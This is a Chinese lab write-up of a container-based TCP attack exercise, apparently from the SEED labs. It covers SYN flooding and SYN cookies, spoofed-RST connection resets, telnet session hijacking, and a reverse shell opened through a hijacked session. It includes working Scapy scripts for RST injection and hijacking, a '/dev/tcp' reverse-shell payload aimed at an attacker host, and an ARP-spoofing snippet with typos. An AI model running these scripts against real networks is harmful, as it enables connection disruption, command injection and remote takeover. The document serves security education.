TCP攻击实验¶
实验主题¶
• TCP 协议 • TCP SYN 泛洪攻击和 SYN cookies • TCP 重置攻击 • TCP 会话劫持攻击 • 反向 Shell
实验环境搭建¶

- 容器设置和命令:与上文一样不再赘述
- 攻击者容器
- 共享文件夹:与上文一样不再赘述
- 主机模式:与上文一样不再赘述
- seed账号:在本实验中,需要从一个容器 telnet 到另一个容器。已经在所有容器中创建了一个名为seed 的帐号,密码为 dees
实验内容¶
任务一:SYN泛洪攻击¶
- python实现攻击
- 代码实现:
- 验证攻击
- 进入用户容器使用telnet连接服务端
连接成功说明攻击失败 - 查看服务端的连接队列
虽然被大量半连接状态机填满但正常的telnet连接仍建立成功 - 增加同时运行的程序数量
- 尝试同时运行两个程序是否能攻击成功
不行 - 尝试同时运行三个程序

- 同时运行8个程序时发起telnet连接时就有些卡顿但还是可以建立成功
- 同时运行11个程序
用户已经无法建立telnet连接
- 尝试同时运行两个程序是否能攻击成功
- 只运行一个程序
减少服务端的半连接队列大小- 将队列大小减小为60
重新进行攻击,telnet连接优先卡顿但仍可以建立连接 - 将队列大小减小为40
重新攻击,连接非常卡顿,但还是可以建立连接不行 - 将队列大小减小为30
已经无法建立telnet连接
- 将队列大小减小为60
- 进入用户容器使用telnet连接服务端
- c语言实现攻击
- 将队列大小回复初始值

- 使用c语言程序发起攻击

- 攻击现象差异:只运行一个c语言程序并且保持队列大小为默认值就可以阻止telnet连接建立

- 原因:
- C语言效率更高,能够以线速发送数据包
- Python的Scapy每包处理开销大,速度慢
- C攻击更容易填满半连接队列
- 将队列大小回复初始值
- 启用SYN Cookie防御机制
- 运行c程序发起攻击,在用户容器中发起telnet连接
成功建立连接,原本可以成功的攻击失败了 - 原因:
SYN cookie原理:
- 不分配半连接资源,而是将连接信息编码到SYN+ACK序列号中
- 收到ACK包后解码验证,合法则分配资源
- 即使队列满了也可以接收合法连接
- 运行c程序发起攻击,在用户容器中发起telnet连接
任务二:TCP会话重置(自动化)¶
- 代码实现
from scapy.all import * def sendrstpkt(pkt): if pkt[TCP].flags & 0x10: rstseq=pkt[TCP].ack if pkt[TCP].payload: rstack=pkt[TCP].seq+len(pkt[TCP].payload.load) else: rstack=pkt[TCP].seq ip=IP(src=pkt[IP].dst,dst=pkt[IP].src) tcp=TCP(sport=pkt[TCP].dport,dport=pkt[TCP].sport,flags="R") tcp.seq=rstseq tcp.ack=rstack rstpkt=ip/tcp send(rstpkt,iface="br-32c3e1207c4c",verbose=0) pkt=sniff(filter="tcp and src host 10.9.0.5",iface="br-32c3e1207c4c",prn=sendrstpkt,store=0) - 攻击验证
- 用户A与服务端建立telnet连接

- 运行程序进行攻击

- 在用户机器上给服务端发送信息
连接被断开 - 查看wireshark的数据包
发现攻击者程序伪造的RST包,
服务端给用户返回的RST响应包
- 用户A与服务端建立telnet连接
任务三:TCP会话劫持(自动化)¶
- 代码实现
from scapy.all import * processed_connections=set() def get_connections_id(pkt): src_ip=pkt[IP].src src_port=pkt[TCP].sport dst_ip=pkt[IP].dst dst_port=pkt[TCP].dport if src_port>dst_port: return f"{src_ip}:{src_port}-{dst_ip}:{dst_port}" else: return f"{dst_ip}:{dst_port}-{src_ip}:{src_port}" def sendackpkt(pkt): connid=get_connections_id(pkt) if connid in processed_connections: return else: if pkt[TCP].flags & 0x10: ip=IP(src=pkt[IP].dst,dst=pkt[IP].src) tcp=TCP(sport=pkt[TCP].dport,dport=pkt[TCP].sport,flags="A") tcp.seq=pkt[TCP].ack if pkt[TCP].payload: tcp.ack=pkt[TCP].seq+len(pkt[TCP].payload.load) else: tcp.ack=pkt[TCP].seq data="echo 'hello hack!' > /tmp/1.txt\n" ackpkt=ip/tcp/data send(ackpkt,iface="br-32c3e1207c4c",verbose=0) processed_connections.add(connid) pkt=sniff(filter="tcp and src host 10.9.0.5",iface="br-32c3e1207c4c",prn=sendackpkt,store=0) - 攻击验证
- 建立用户端和服务端的telnet连接后运行攻击者程序

- 在用户端随便键入字符观察wireshark抓包情况
程序成功劫持会话,给服务端发送注入恶意命令的数据包 - 在服务端查看命令是否执行成功
命令执行成功
- 建立用户端和服务端的telnet连接后运行攻击者程序
任务四:利用会话劫持创建反向shell¶
- 攻击背景:利用TCP会话劫持运行很多命令非常不方便,所以需要在受害者机器上建立一个反向shell连接到攻击者机器上从而实现执行更多命令
- 核心思路:通过TCP会话劫持运行建立反向shell的命令,然后通过该反向shell实现在受害者机器上执行更多命令
- 在攻击者机器上运行netcat监听9999端口等待受害者机器的反向shell连接

- 代码实现:
from scapy.all import * processed_connections=set() def get_connections_id(pkt): src_ip=pkt[IP].src src_port=pkt[TCP].sport dst_ip=pkt[IP].dst dst_port=pkt[TCP].dport if src_port>dst_port: return f"{src_ip}:{src_port}-{dst_ip}:{dst_port}" else: return f"{dst_ip}:{dst_port}-{src_ip}:{src_port}" def sendackpkt(pkt): connid=get_connections_id(pkt) if connid in processed_connections: return else: if pkt[TCP].flags & 0x10: ip=IP(src=pkt[IP].dst,dst=pkt[IP].src) tcp=TCP(sport=pkt[TCP].dport,dport=pkt[TCP].sport,flags="A") tcp.seq=pkt[TCP].ack if pkt[TCP].payload: tcp.ack=pkt[TCP].seq+len(pkt[TCP].payload.load) else: tcp.ack=pkt[TCP].seq data="\r\n/bin/bash -i > /dev/tcp/10.9.0.1/9999 0<&1 2>&1\n" ackpkt=ip/tcp/data send(ackpkt,iface="br-32c3e1207c4c",verbose=0) processed_connections.add(connid) pkt=sniff(filter="tcp and src host 10.9.0.5",iface="br-32c3e1207c4c",prn=sendackpkt,store=0) - 攻击验证:
- 建立用户端和服务端的telnet连接后运行攻击者程序

- 在用户端随便键入字符观察攻击者机器上netcat连接情况
成功获得受害者机器上的shell - 在该shell中执行命令过程是否成功
命令成功执行
- 建立用户端和服务端的telnet连接后运行攻击者程序
实验总结¶
- 踩坑
- 任务一中,内核的防御机制:当用户与服务端已经建立telnet连接后就不受SYN Flooding影响

- 任务三中,恶意指令内容需要加换行符,telnet需要换行符来执行指令

- 任务三中,恶意程序的嗅探过滤要防止重复抓到服务端对伪造ack数据包的响应包导致先让循环

解决方案:使用连接ID记录已攻击的连接,防止重复攻击,这是避免循环的最有效方法!
示例:
processed_connections=set()#创建已经处理的连接集合 #获取无方向连接标识 def connections_id(pkt): src_ip=pkt[IP].src src_port=pkt[TCP].sport dst_ip=pkt[IP].dst dst_port=pkt[TCP].dport #进行排序实现无方向性 if src_port>dst_port: return f"{src_ip}:{src_port}-{dst_ip}:{dst_port}" else: return f"{dst_ip}:{dst_port}-{src_ip}:{src_port}" - 问题与思考
- 为什么ack=对方的seq+数据长度
TCP确认号核心原理:
图解说明:
- 任务2中telnet连接建立后开启wireshark抓包,然后运行rst包发送程序,在用户端输入11后抓到的包以及一些现象详解:
- 现象
- 输入第一个1后
抓到了6个包,但用户端显示连接好像并没有立即断开 - 输入第二个1后
又抓到了两个包,用户端显示连接断开
- 输入第一个1后
- 原因:
- 输入第一个1后wireshark中第一个包就是用户给服务端发送的1

- 第二个数据包是服务端给用户返回的ACK响应包告诉用户端数据包已收到

- 第三个数据包服务端给用户返回的payload为“1”的数据包,用于将用户键入的内容显示在用户屏幕上

- 第四个数据包是用户给服务端返回的ACK响应包告诉服务端数据包已收到

- 第五个数据包是攻击者程序伪造的RST包对应服务端发送的ACK响应包

- 第六个数据包是攻击者程序伪造的RST数据包对应服务端给用户返回的payload为“1”的数据包

- 程序发送的RST数据包比用户返回的ACK响应包慢所以用户输入第一个1时成功回显,但当服务端收到程序伪造的RST数据包时就断开连接了
只是用户端没有显示 - 所以当用户输入第二个1时
提示连接已经端口,并且服务端返回RST包告知用户端
- 输入第一个1后wireshark中第一个包就是用户给服务端发送的1
- 现象
- 任务3中,为什么当会话劫持成功后结束攻击者程序,在被劫持的telnet连接的用户端键入字符,发现没有反应,wireshark出现大量这种包
原因:TCP序列号不同步
攻击前后对比:
抓包解读:
Spurious Retransmission(虚假重传)
含义:客户端认为需要重传,但服务器已经收到过这些数据
原因:序列号/确认号不同步
Dup ACK(重复确认)
含义:服务器重复发送相同的ACK
原因:服务器不断告诉客户端"你应该发送seq=xxx"
不过在该任务中只需要劫持会话进行一次性命令注入即可,所以客户端序列号不同步也无伤大雅 - 知识点
- TCP协议
- 核心定位与关键特性
- 面向连接:通过握手协商参数,分配资源,建立状态机【状态机可被非法触发(如非法FIN/RST)导致连接重置或资源耗尽】
- 可靠传输:序列号,确认应答,超时重传【一来Seq/Ack的确定性,成为TCP劫持和RST攻击的核心利用点】
- 字节流服务:无报文边界,数据合并/拆分传输【攻击者注入数据需要精确对齐流边界,否则会导致应用层解析错误或TCP重置】
- 全双工与滑动窗口:独立收发通道,动态调节接收缓冲区【窗口机制可被操纵进行慢速DoS或ACK风暴】
- 报文结构与安全映射

- 关键字段的安全视角
- Flags控制位组合(防火墙/IDS逃逸基础)
- NULL:部分旧协议栈直接丢弃,现代WAF可能标记为异常
- FIN+PSH+URG:Nmap圣诞树扫描,利用异常标志位探测端口状态
- SYN+FIN:非法组合,触发触发协议栈错误处理路径,可用于指纹识别
- RST:用于暴力断开连接,是防火墙主动阻断流量的标准手段
- 序列号与确认号
- TCP可靠性的基石,攻击者必须精确预测或获取准确Seq/Ack才能注入有效数据或劫持会话
- 盲劫持失败的原因:现代ISN(Initial Sequence Number)采用密码学随机化,预测难度极大
- Window(窗口大小):接收方缓冲区剩余空间
- 攻击者可发送Window=0强制对端停止发送,或通过窗口探测包探测系统状态
- 零窗口死锁:若探测包丢失则连接永久挂起
- TCP Option(选项)
- MSS:伪造报文最大长度可能导致目标分配超大接收缓冲器,用于资源耗尽攻击
- Timestamps:时间戳选项。虽用于 RTT 测量,但泄露了系统运行时间,可能被辅助用于 ISN 预测(旧实现漏洞)
- 连接机状态与攻击面
- SYN_SENT(SYN已发送):伪造SYN+ACK进行欺骗
- SYN_RCVD半连接状态:SYN Flood攻击
- ESTABLISHED:
- TCP会话重置
- TCP会话劫持
- 注入恶意数据建立反向shell
- 流量控制机制与滥用
- 流量控制与拥塞控制
- 机制:基于接收窗口和拥塞窗口的动态调整,避免网络拥塞和接收端溢出
- 滥用:
- 慢速DoS:攻击者保持连接但极慢的发送数据,耗尽服务器的并发连接池
- ACK分片攻击:将确认号切分,迫使接收端进入快速重传或拥塞避免状态,降低吞吐量
- 保活机制:
- 机制:空闲连接定期发送探测包,确认对端是否存活
- 滥用:攻击者可以伪造Keep-Alive,维持僵尸连接,绕过防火墙的空闲超时策略
- 流量控制与拥塞控制
- 安全演进与实战视角
- 核心定位与关键特性
- TCP SYN泛洪攻击和SYN cookies

- 核心机制:利用TCP三层握手服务端资源预分配特性,耗尽半连接队列
- 关键技术细节
- TCB结构(队列大小):现代 Linux 每个半连接约消耗 320~500 字节内存,队列长度受 net.ipv4。tcp_max_syn_backlog 限制。能储存的半连接状态机的数量(队列大小)也会影响成功率
- SYN Ccookies绕过:若服务端启用syncookies或中间设备(WAF/防火墙)有状态跟踪,纯SYN Flooding仍有效
- 发送速度:在发出SYN-ACK包后服务端将等待ACK数据包,如果没有及时到来就会重传SYN-ACK数据包,当重传次数超过限制(由内核参数l net.ipv4.tcp_synack_retries决定,默认为5)就会将相应的半连接状态机从队列中清除,这时队列会出现一个空位,我们构造的SYN包会和合法的连接请求数据包竞争这个空位,因此如果发包速度不够快可能会导致攻击失败
- 现代防御
- 内核默认开启syncookies(无握手状态认证不分配TCB)
- 云厂商/高防提供流量清洗与指纹过滤(丢弃无源验证或特征异常的 SYN)
- 中间件部署 SYN proxy 代理完成握手后再回源
- 核心机制:利用TCP三层握手服务端资源预分配特性,耗尽半连接队列
- TCP会话重置
- 核心机制:伪造RST报文强制中断已建立的TCP连接
- 生效条件:
- 必须包含正确的四元组(src_ip,src_port,dst_ip,dst_port)
- RST的seq必须落在接收方的当前接收窗口内(理想情况是精确等于RCV.NXT)
- 部分实现要求RST的校验和正确,TTL/窗口大小合理
- 攻击流程
- 实战难点
- 盲打失败率高:现代系统ISN采用密码学随机化,且窗口滑动快,猜中概率低
- ACK风暴风险:若RST仅被单方接受,另一方仍会发送ACK/PHSH,引发双向RST循环
- 防御引进
- RFC 5961 引入窗口外 RST 丢弃与确认号挑战
- 启用 TCP Timestamps 增加伪造难度
- 业务层使用 TLS 加密,即使连接被断也无法直接注入/读取数据
- 通过TCP会话劫持建立反向Shell

- TCP会话劫持的核心机制:冒充合法端点,向服务端注入恶意数据,接管已经建立的TCP会话
- 反向shell原理:不是独立的网络层攻击,而是在劫持的TCP流只注入可执行指令,并将I/O重定向到攻击者机器的应用层利用链
- 实现前提:
- 目标服务为铭明文协议(Telnet,FTP,HTTP,nc,自定义TCP服务)
- 攻击者以获取当前流的正确seq/ack,并且可以绕过应用层输入校验
- 目标系统支持命令行执行(如sh,bash,cmd)
- 关键技术点:
- 序列对齐:注入包的seq必须等于服务端期望的下一个字节序号,否则会被丢弃
- 协议上下文:HTTP 需符合 Request 格式;Telnet 需处理 IAC 协商;自定义协议需逆向前置字段
- I/O重定向:使用/dev/tcp或nc -e建立反向连接
- 会话维持:原始客户端若继续发包会触发 ACK 风暴,需提前降权或阻断原始端流量
知识点关联汇总¶
- python中的subprocess库:python标准库中用于创建和管理子进程的模块
- 用途:使在python脚本中能够启动外部程序或系统命令,并与它们进行交互
- 核心功能
- 运行系统命令
- 执行外部程序
- 获取命令输出
- 常用场景
- 系统管理:执行mkdir,copy,rm等系统命令
- 调用其他程序:在python中调用编译好的c/c++,java程序等
- 数据处理:通过管道符将数据传给awk,grep等命令行工具
- 自动化操作:自动执行需要命令行的任务
- 常用函数
- subprocess.run():运行命令并等待完成
- subprocess.Popen():更接近底层的接口,支持实时交互
- subprocess.check_output():获取命令输出
- subprocess.call():运行命令并返回状态码
- 多线程(python实现)
- 线程的概念:线程是操作系统能够进行运算调度的最小单位。一个进程可以有多个线程,它们共享进程的内存空间
- python threading模块实现简单多线程
- 示例代码:
from scapy.all import * import threading import time #告诉B我是A pkt_to_B=Ether(src="02:42:0a:09:00:69",dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69",pdst="10.9.0.6",hwdst="ff:ff:ff:ff:ff:ff") #告诉A我是B pkt_to_A=Ether(src="02:42:0a:09:00:69",dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69",pdst="10.9.0.5",hwdst="ff:ff:ff:ff:ff:ff") def attack_A(pkt_to_A): sendp(pkt_to_A,loop=1,inter=5,iface="eth0",verbose=0) def attack_B(pkt_to_B): sendp(pkt_to_B,loop=1,inter=5,iface="eth0",verbose=0) t1=threading.Thread(target=attack_A,args=(pkt_to_A,)) t2=threading.Thread(target=attack_B,args(pkt_to_B,)) t1.start() t2.start() ti.join() t2.join() - 核心概念详解:
- Thread(target=函数名):创建线程对象
- start():启动线程(开始执行)
- join():等待线程执行完毕
- args(参数,):传递给函数的参数(注意逗号)
- 示例代码: